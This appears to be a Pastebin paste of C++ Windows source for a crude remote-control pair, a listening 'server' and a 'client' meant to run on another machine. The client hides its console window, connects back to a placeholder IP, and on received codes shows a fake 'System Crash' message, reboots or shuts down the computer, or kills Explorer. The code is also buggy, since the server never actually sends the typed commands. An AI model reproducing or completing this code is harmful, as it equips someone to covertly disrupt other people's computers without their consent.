Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Server:
- #pragma comment(lib, "ws2_32.lib")
- #define _WINSOCK_DEPRECATED_NO_WARNINGS
- #include <cstdlib>
- #include <WinSock2.h>
- #include <Windows.h>
- #include <iostream>
- #include <conio.h>
- #include <tchar.h>
- using namespace std;
- int main()
- {
- SetConsoleTitle(L"Server Disconnect");
- WSADATA wsadata;
- WSAStartup(MAKEWORD(2, 0), &wsadata);
- SOCKET list;
- list = socket(AF_INET, SOCK_STREAM, 0);
- sockaddr_in ServerInfo;
- ServerInfo.sin_addr.S_un.S_addr = inet_addr("IP HERE");
- ServerInfo.sin_port = htons(12345);
- bind(list, (const sockaddr*)& ServerInfo, sizeof(ServerInfo));
- listen(list, SOMAXCONN);
- SOCKET clientaccept;
- sockaddr_in ClientInfo;
- int ClientInfoSize = sizeof(ClientInfo);
- bool search = true;
- while (search == true)
- {
- clientaccept = accept(list, (sockaddr*)& ClientInfo, &ClientInfoSize);
- if (clientaccept != SOCKET_ERROR)
- {
- search = false;
- SetConsoleTitle(L"Server Connect");
- }
- }
- cout << "1. SendMessage" << endl;
- cout << "2. Reboot System" << endl;
- cout << "3. Shutdown System" << endl;
- cout << "Kill Explorer" << endl;
- bool connectclient = true;
- char Sendbuf[256];
- while (connectclient == true)
- {
- ZeroMemory(Sendbuf, 256);
- cout << "Commend: ";
- cin.getline(Sendbuf, 256);
- if (*Sendbuf == '#')
- {
- connectclient = false;
- closesocket(list);
- closesocket(clientaccept);
- }
- }
- return 0;
- }
- // Client:
- #pragma comment(lib, "ws2_32.lib")
- #define _WINSOCK_DEPRECATED_NO_WARNINGS
- #include <cstdlib>
- #include <WinSock2.h>
- #include <Windows.h>
- #include <iostream>
- #include <conio.h>
- #include <tchar.h>
- using namespace std;
- int main()
- {
- SetConsoleTitle(L"Client Disconnect");
- system("color 0a");
- WSADATA wsadata;
- WSAStartup(MAKEWORD(2, 0), &wsadata);
- SOCKET list;
- list = socket(AF_INET, SOCK_STREAM, 0);
- sockaddr_in clientinfo;
- clientinfo.sin_addr.S_un.S_addr = inet_addr("IP HERE");
- clientinfo.sin_family = AF_INET;
- clientinfo.sin_port = htons(12345);
- long CONNECT;
- bool search = true;
- while (search == true)
- {
- CONNECT = connect(list, (const sockaddr*)& clientinfo, sizeof(clientinfo));
- if (CONNECT != INVALID_SOCKET)
- {
- search = false;
- SetConsoleTitle(L"Client Disconnect");
- FreeConsole();
- }
- }
- bool run = true;
- char Recvbuf[256];
- while (run == true)
- {
- ZeroMemory(Recvbuf, 256);
- recv(list, Recvbuf, 256, 0);
- if (*Recvbuf == '1')
- {
- MessageBox(NULL, L"System Crash", L"Error", MB_OK);
- }
- if (*Recvbuf == '2')
- {
- system("shutdown -r -t0");
- }
- if (*Recvbuf == '3')
- {
- system("shutdown -s -t0");
- }
- if (*Recvbuf == '4')
- {
- HWND Explorer = FindWindow(NULL, L"Explorer");
- DWORD id = NULL;
- GetWindowThreadProcessId(Explorer, &id);
- HANDLE OpenP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
- TerminateProcess(OpenP, 0);
- }
- if (*Recvbuf == '#')
- {
- run = false;
- }
- }
- closesocket(list);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement